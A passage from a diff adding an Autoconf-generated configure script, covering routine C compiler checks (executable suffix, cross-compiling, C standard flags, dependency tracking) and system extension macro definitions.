"$as_me:${as_lineno-$LINENO}: checking for C compiler default output file name" >&5 +printf %s "checking for C compiler default output file name... " >&6; } +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 +printf "%s\n" "$ac_file" >&6; } +ac_exeext=$ac_cv_exeext + +rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out +ac_clean_files=$ac_clean_files_save +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 +printf %s "checking for suffix of executables... " >&6; } +if { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } +then : + # If both 'conftest.exe' and 'conftest' are 'present' (well, observable) +# catch 'conftest.exe'. For instance with Cygwin, 'ls conftest' will +# work properly (i.e., refer to 'conftest.exe'), while it won't with +# 'rm'. +for ac_file in conftest.exe conftest conftest.*; do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; + *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + break;; + * ) break;; + esac +done +else case e in #( + e) { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error $? "cannot compute suffix of executables: cannot compile and link +See 'config.log' for more details" "$LINENO" 5; } ;; +esac +fi +rm -f conftest conftest$ac_cv_exeext +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 +printf "%s\n" "$ac_cv_exeext" >&6; } + +rm -f conftest.$ac_ext +EXEEXT=$ac_cv_exeext +ac_exeext=$EXEEXT +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main (void) +{ +FILE *f = fopen ("conftest.out", "w"); + if (!f) + return 1; + return ferror (f) || fclose (f) != 0; + + ; + return 0; +} +_ACEOF +ac_clean_files="$ac_clean_files conftest.out" +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 +printf %s "checking whether we are cross compiling... " >&6; } +if test "$cross_compiling" != yes; then + { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + if { ac_try='./conftest$ac_cv_exeext' + { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error 77 "cannot run C compiled programs. +If you meant to cross compile, use '--host'. +See 'config.log' for more details" "$LINENO" 5; } + fi + fi +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 +printf "%s\n" "$cross_compiling" >&6; } + +rm -f conftest.$ac_ext conftest$ac_cv_exeext \ + conftest.o conftest.obj conftest.out +ac_clean_files=$ac_clean_files_save +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 +printf %s "checking for suffix of object files... " >&6; } +if test ${ac_cv_objext+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.o conftest.obj +if { { ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_compile") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } +then : + for ac_file in conftest.o conftest.obj conftest.*; do + test -f "$ac_file" || continue; + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; + *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` + break;; + esac +done +else case e in #( + e) printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error $? "cannot compute suffix of object files: cannot compile +See 'config.log' for more details" "$LINENO" 5; } ;; +esac +fi +rm -f conftest.$ac_cv_objext conftest.$ac_ext ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext" >&5 +printf "%s\n" "$ac_cv_objext" >&6; } +OBJEXT=$ac_cv_objext +ac_objext=$OBJEXT +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports GNU C" >&5 +printf %s "checking whether the compiler supports GNU C... " >&6; } +if test ${ac_cv_c_compiler_gnu+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_compiler_gnu=yes +else case e in #( + e) ac_compiler_gnu=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 +printf "%s\n" "$ac_cv_c_compiler_gnu" >&6; } +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +if test $ac_compiler_gnu = yes; then + GCC=yes +else + GCC= +fi +ac_test_CFLAGS=${CFLAGS+y} +ac_save_CFLAGS=$CFLAGS +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 +printf %s "checking whether $CC accepts -g... " >&6; } +if test ${ac_cv_prog_cc_g+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_save_c_werror_flag=$ac_c_werror_flag + ac_c_werror_flag=yes + ac_cv_prog_cc_g=no + CFLAGS="-g" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_g=yes +else case e in #( + e) CFLAGS="" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + +else case e in #( + e) ac_c_werror_flag=$ac_save_c_werror_flag + CFLAGS="-g" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_g=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ac_c_werror_flag=$ac_save_c_werror_flag ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 +printf "%s\n" "$ac_cv_prog_cc_g" >&6; } +if test $ac_test_CFLAGS; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +ac_prog_cc_stdc=no +if test x$ac_prog_cc_stdc = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C11 features" >&5 +printf %s "checking for $CC option to enable C11 features... " >&6; } +if test ${ac_cv_prog_cc_c11+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_cv_prog_cc_c11=no +ac_save_CC=$CC +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_c_conftest_c11_program +_ACEOF +for ac_arg in '' -std=gnu11 +do + CC="$ac_save_CC $ac_arg" + if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_c11=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam + test "x$ac_cv_prog_cc_c11" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC ;; +esac +fi + +if test "x$ac_cv_prog_cc_c11" = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +printf "%s\n" "unsupported" >&6; } +else case e in #( + e) if test "x$ac_cv_prog_cc_c11" = x +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +printf "%s\n" "none needed" >&6; } +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c11" >&5 +printf "%s\n" "$ac_cv_prog_cc_c11" >&6; } + CC="$CC $ac_cv_prog_cc_c11" ;; +esac +fi + ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c11 + ac_prog_cc_stdc=c11 ;; +esac +fi +fi +if test x$ac_prog_cc_stdc = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C99 features" >&5 +printf %s "checking for $CC option to enable C99 features... " >&6; } +if test ${ac_cv_prog_cc_c99+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_cv_prog_cc_c99=no +ac_save_CC=$CC +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_c_conftest_c99_program +_ACEOF +for ac_arg in '' -std=gnu99 -std=c99 -c99 -qlanglvl=extc1x -qlanglvl=extc99 -AC99 -D_STDC_C99= +do + CC="$ac_save_CC $ac_arg" + if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_c99=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam + test "x$ac_cv_prog_cc_c99" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC ;; +esac +fi + +if test "x$ac_cv_prog_cc_c99" = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +printf "%s\n" "unsupported" >&6; } +else case e in #( + e) if test "x$ac_cv_prog_cc_c99" = x +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +printf "%s\n" "none needed" >&6; } +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c99" >&5 +printf "%s\n" "$ac_cv_prog_cc_c99" >&6; } + CC="$CC $ac_cv_prog_cc_c99" ;; +esac +fi + ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c99 + ac_prog_cc_stdc=c99 ;; +esac +fi +fi +if test x$ac_prog_cc_stdc = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C89 features" >&5 +printf %s "checking for $CC option to enable C89 features... " >&6; } +if test ${ac_cv_prog_cc_c89+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_cv_prog_cc_c89=no +ac_save_CC=$CC +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_c_conftest_c89_program +_ACEOF +for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_c89=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam + test "x$ac_cv_prog_cc_c89" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC ;; +esac +fi + +if test "x$ac_cv_prog_cc_c89" = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +printf "%s\n" "unsupported" >&6; } +else case e in #( + e) if test "x$ac_cv_prog_cc_c89" = x +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +printf "%s\n" "none needed" >&6; } +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 +printf "%s\n" "$ac_cv_prog_cc_c89" >&6; } + CC="$CC $ac_cv_prog_cc_c89" ;; +esac +fi + ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c89 + ac_prog_cc_stdc=c89 ;; +esac +fi +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CC understands -c and -o together" >&5 +printf %s "checking whether $CC understands -c and -o together... " >&6; } +if test ${am_cv_prog_cc_c_o+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF + # Make sure it works both with $CC and with simple cc. + # Following AC_PROG_CC_C_O, we do the test twice because some + # compilers refuse to overwrite an existing .o file with -o, + # though they will create one. + am_cv_prog_cc_c_o=yes + for am_i in 1 2; do + if { echo "$as_me:$LINENO: $CC -c conftest.$ac_ext -o conftest2.$ac_objext" >&5 + ($CC -c conftest.$ac_ext -o conftest2.$ac_objext) >&5 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } \ + && test -f conftest2.$ac_objext; then + : OK + else + am_cv_prog_cc_c_o=no + break + fi + done + rm -f core conftest* + unset am_i ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_prog_cc_c_o" >&5 +printf "%s\n" "$am_cv_prog_cc_c_o" >&6; } +if test "$am_cv_prog_cc_c_o" != yes; then + # Losing compiler, so override with the script. + # FIXME: It is wrong to rewrite CC. + # But if we don't then we get into trouble of one sort or another. + # A longer-term fix would be to have automake use am__CC in this case, + # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)" + CC="$am_aux_dir/compile $CC" +fi +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +depcc="$CC" am_compiler_list= + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 +printf %s "checking dependency style of $depcc... " >&6; } +if test ${am_cv_CC_dependencies_compiler_type+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then + # We make a subdir and do the tests there. Otherwise we can end up + # making bogus files that we don't know about and never remove. For + # instance it was reported that on HP-UX the gcc test will end up + # making a dummy file named 'D' -- because '-MD' means "put the output + # in D". + rm -rf conftest.dir + mkdir conftest.dir + # Copy depcomp to subdir because otherwise we won't find it if we're + # using a relative directory. + cp "$am_depcomp" conftest.dir + cd conftest.dir + # We will build objects and dependencies in a subdirectory because + # it helps to detect inapplicable dependency modes. For instance + # both Tru64's cc and ICC support -MD to output dependencies as a + # side effect of compilation, but ICC will put the dependencies in + # the current directory while Tru64 will put them in the object + # directory. + mkdir sub + + am_cv_CC_dependencies_compiler_type=none + if test "$am_compiler_list" = ""; then + am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` + fi + am__universal=false + case " $depcc " in #( + *\ -arch\ *\ -arch\ *) am__universal=true ;; + esac + + for depmode in $am_compiler_list; do + # Setup a source with many dependencies, because some compilers + # like to wrap large dependency lists on column 80 (with \), and + # we should not choose a depcomp mode which is confused by this. + # + # We need to recreate these files for each test, as the compiler may + # overwrite some of them when testing with obscure command lines. + # This happens at least with the AIX C compiler. + : > sub/conftest.c + for i in 1 2 3 4 5 6; do + echo '#include "conftst'$i'.h"' >> sub/conftest.c + # Using ": > sub/conftst$i.h" creates only sub/conftst1.h with + # Solaris 10 /bin/sh. + echo '/* dummy */' > sub/conftst$i.h + done + echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf + + # We check with '-c' and '-o' for the sake of the "dashmstdout" + # mode. It turns out that the SunPro C++ compiler does not properly + # handle '-M -o', and we need to detect this. Also, some Intel + # versions had trouble with output in subdirs. + am__obj=sub/conftest.${OBJEXT-o} + am__minus_obj="-o $am__obj" + case $depmode in + gcc) + # This depmode causes a compiler race in universal mode. + test "$am__universal" = false || continue + ;; + nosideeffect) + # After this tag, mechanisms are not by side-effect, so they'll + # only be used when explicitly requested. + if test "x$enable_dependency_tracking" = xyes; then + continue + else + break + fi + ;; + msvc7 | msvc7msys | msvisualcpp | msvcmsys) + # This compiler won't grok '-c -o', but also, the minuso test has + # not run yet. These depmodes are late enough in the game, and + # so weak that their functioning should not be impacted. + am__obj=conftest.${OBJEXT-o} + am__minus_obj= + ;; + none) break ;; + esac + if depmode=$depmode \ + source=sub/conftest.c object=$am__obj \ + depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ + $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ + >/dev/null 2>conftest.err && + grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && + grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && + grep $am__obj sub/conftest.Po > /dev/null 2>&1 && + ${MAKE-make} -s -f confmf > /dev/null 2>&1; then + # icc doesn't choke on unknown options, it will just issue warnings + # or remarks (even with -Werror). So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_CC_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_CC_dependencies_compiler_type=none +fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_CC_dependencies_compiler_type" >&5 +printf "%s\n" "$am_cv_CC_dependencies_compiler_type" >&6; } +CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type + + if + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then + am__fastdepCC_TRUE= + am__fastdepCC_FALSE='#' +else + am__fastdepCC_TRUE='#' + am__fastdepCC_FALSE= +fi + + + +if test x$ac_cv_prog_cc_c99 = xno ; then + as_fn_error $? "No C99 compiler was found." "$LINENO" 5 +fi + + +# By default we simply use the C compiler to build assembly code. + +test "${CCAS+set}" = set || CCAS=$CC +test "${CCASFLAGS+set}" = set || CCASFLAGS=$CFLAGS + + + +depcc="$CCAS" am_compiler_list= + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 +printf %s "checking dependency style of $depcc... " >&6; } +if test ${am_cv_CCAS_dependencies_compiler_type+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then + # We make a subdir and do the tests there. Otherwise we can end up + # making bogus files that we don't know about and never remove. For + # instance it was reported that on HP-UX the gcc test will end up + # making a dummy file named 'D' -- because '-MD' means "put the output + # in D". + rm -rf conftest.dir + mkdir conftest.dir + # Copy depcomp to subdir because otherwise we won't find it if we're + # using a relative directory. + cp "$am_depcomp" conftest.dir + cd conftest.dir + # We will build objects and dependencies in a subdirectory because + # it helps to detect inapplicable dependency modes. For instance + # both Tru64's cc and ICC support -MD to output dependencies as a + # side effect of compilation, but ICC will put the dependencies in + # the current directory while Tru64 will put them in the object + # directory. + mkdir sub + + am_cv_CCAS_dependencies_compiler_type=none + if test "$am_compiler_list" = ""; then + am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` + fi + am__universal=false + + + for depmode in $am_compiler_list; do + # Setup a source with many dependencies, because some compilers + # like to wrap large dependency lists on column 80 (with \), and + # we should not choose a depcomp mode which is confused by this. + # + # We need to recreate these files for each test, as the compiler may + # overwrite some of them when testing with obscure command lines. + # This happens at least with the AIX C compiler. + : > sub/conftest.c + for i in 1 2 3 4 5 6; do + echo '#include "conftst'$i'.h"' >> sub/conftest.c + # Using ": > sub/conftst$i.h" creates only sub/conftst1.h with + # Solaris 10 /bin/sh. + echo '/* dummy */' > sub/conftst$i.h + done + echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf + + # We check with '-c' and '-o' for the sake of the "dashmstdout" + # mode. It turns out that the SunPro C++ compiler does not properly + # handle '-M -o', and we need to detect this. Also, some Intel + # versions had trouble with output in subdirs. + am__obj=sub/conftest.${OBJEXT-o} + am__minus_obj="-o $am__obj" + case $depmode in + gcc) + # This depmode causes a compiler race in universal mode. + test "$am__universal" = false || continue + ;; + nosideeffect) + # After this tag, mechanisms are not by side-effect, so they'll + # only be used when explicitly requested. + if test "x$enable_dependency_tracking" = xyes; then + continue + else + break + fi + ;; + msvc7 | msvc7msys | msvisualcpp | msvcmsys) + # This compiler won't grok '-c -o', but also, the minuso test has + # not run yet. These depmodes are late enough in the game, and + # so weak that their functioning should not be impacted. + am__obj=conftest.${OBJEXT-o} + am__minus_obj= + ;; + none) break ;; + esac + if depmode=$depmode \ + source=sub/conftest.c object=$am__obj \ + depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ + $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ + >/dev/null 2>conftest.err && + grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && + grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && + grep $am__obj sub/conftest.Po > /dev/null 2>&1 && + ${MAKE-make} -s -f confmf > /dev/null 2>&1; then + # icc doesn't choke on unknown options, it will just issue warnings + # or remarks (even with -Werror). So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_CCAS_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_CCAS_dependencies_compiler_type=none +fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_CCAS_dependencies_compiler_type" >&5 +printf "%s\n" "$am_cv_CCAS_dependencies_compiler_type" >&6; } +CCASDEPMODE=depmode=$am_cv_CCAS_dependencies_compiler_type + + if + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_CCAS_dependencies_compiler_type" = gcc3; then + am__fastdepCCAS_TRUE= + am__fastdepCCAS_FALSE='#' +else + am__fastdepCCAS_TRUE='#' + am__fastdepCCAS_FALSE= +fi + + + +ac_header= ac_cache= +for ac_item in $ac_header_c_list +do + if test $ac_cache; then + ac_fn_c_check_header_compile "$LINENO" $ac_header ac_cv_header_$ac_cache "$ac_includes_default" + if eval test \"x\$ac_cv_header_$ac_cache\" = xyes; then + printf "%s\n" "#define $ac_item 1" >> confdefs.h + fi + ac_header= ac_cache= + elif test $ac_header; then + ac_cache=$ac_item + else + ac_header=$ac_item + fi +done + + + + + + + + +if test $ac_cv_header_stdlib_h = yes && test $ac_cv_header_string_h = yes +then : + +printf "%s\n" "#define STDC_HEADERS 1" >>confdefs.h + +fi + + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether it is safe to define __EXTENSIONS__" >&5 +printf %s "checking whether it is safe to define __EXTENSIONS__... " >&6; } +if test ${ac_cv_safe_to_define___extensions__+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +# define __EXTENSIONS__ 1 + $ac_includes_default +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_safe_to_define___extensions__=yes +else case e in #( + e) ac_cv_safe_to_define___extensions__=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_safe_to_define___extensions__" >&5 +printf "%s\n" "$ac_cv_safe_to_define___extensions__" >&6; } + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether _XOPEN_SOURCE should be defined" >&5 +printf %s "checking whether _XOPEN_SOURCE should be defined... " >&6; } +if test ${ac_cv_should_define__xopen_source+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_cv_should_define__xopen_source=no + if test $ac_cv_header_wchar_h = yes +then : + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + + #include + mbstate_t x; +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + + #define _XOPEN_SOURCE 500 + #include + mbstate_t x; +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_should_define__xopen_source=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +fi ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_should_define__xopen_source" >&5 +printf "%s\n" "$ac_cv_should_define__xopen_source" >&6; } + + printf "%s\n" "#define _ALL_SOURCE 1" >>confdefs.h + + printf "%s\n" "#define _DARWIN_C_SOURCE 1" >>confdefs.h + + printf "%s\n" "#define _GNU_SOURCE 1" >>confdefs.h + + printf "%s\n" "#define _HPUX_ALT_XOPEN_SOCKET_API 1" >>confdefs.h + + printf "%s\n" "#define _NETBSD_SOURCE 1" >>confdefs.h + + printf "%s\n" "#define _OPENBSD_SOURCE 1" >>confdefs.h + + printf "%s\n" "#define _POSIX_PTHREAD_SEMANTICS 1" >>confdefs.h + + printf "%s\n" "#define __STDC_WANT_IEC_60559_ATTRIBS_EXT__ 1" >>confdefs.h + + printf "%s\n" "#define __STDC_WANT_IEC_60559_BFP_EXT__ 1" >>confdefs.h + + printf "%s\n" "#define __STDC_WANT_IEC_60559_DFP_EXT__ 1" >>confdefs.h + + printf "%s\n" "#define __STDC_WANT_IEC_60559_EXT__ 1" >>confdefs.h + + printf "%s\n" "#define __STDC_WANT_IEC_60559_FUNCS_EXT__ 1" >>confdefs.h + + printf "%s\n" "#define __STDC_WANT_IEC_60559_TYPES_EXT__ 1" >>confdefs.h + + printf "%s\n" "#define __STDC_WANT_LIB_EXT2__ 1" >>confdefs.h + + printf "%s\n" "#define __STDC_WANT_MATH_SPEC_FUNCS__ 1" >>confdefs.h + + printf "%s\n" "#define _TANDEM_SOURCE 1" >>confdefs.h + + if test $ac_cv_header_minix_config_h = yes +then : + MINIX=yes + printf "%s\n" "#define _MINIX 1" >>confdefs.h + + printf "%s\n" "#define _POSIX_SOURCE 1" >>confdefs.h + + printf "%s\n" "#define _POSIX_1_SOURCE 2" >>confdefs.h + +else case e in #( + e) MINIX= ;; +esac +fi + if test $ac_cv_safe_to_define___extensions__ = yes +then : + printf "%s\n" "#define __EXTENSIONS__ 1" 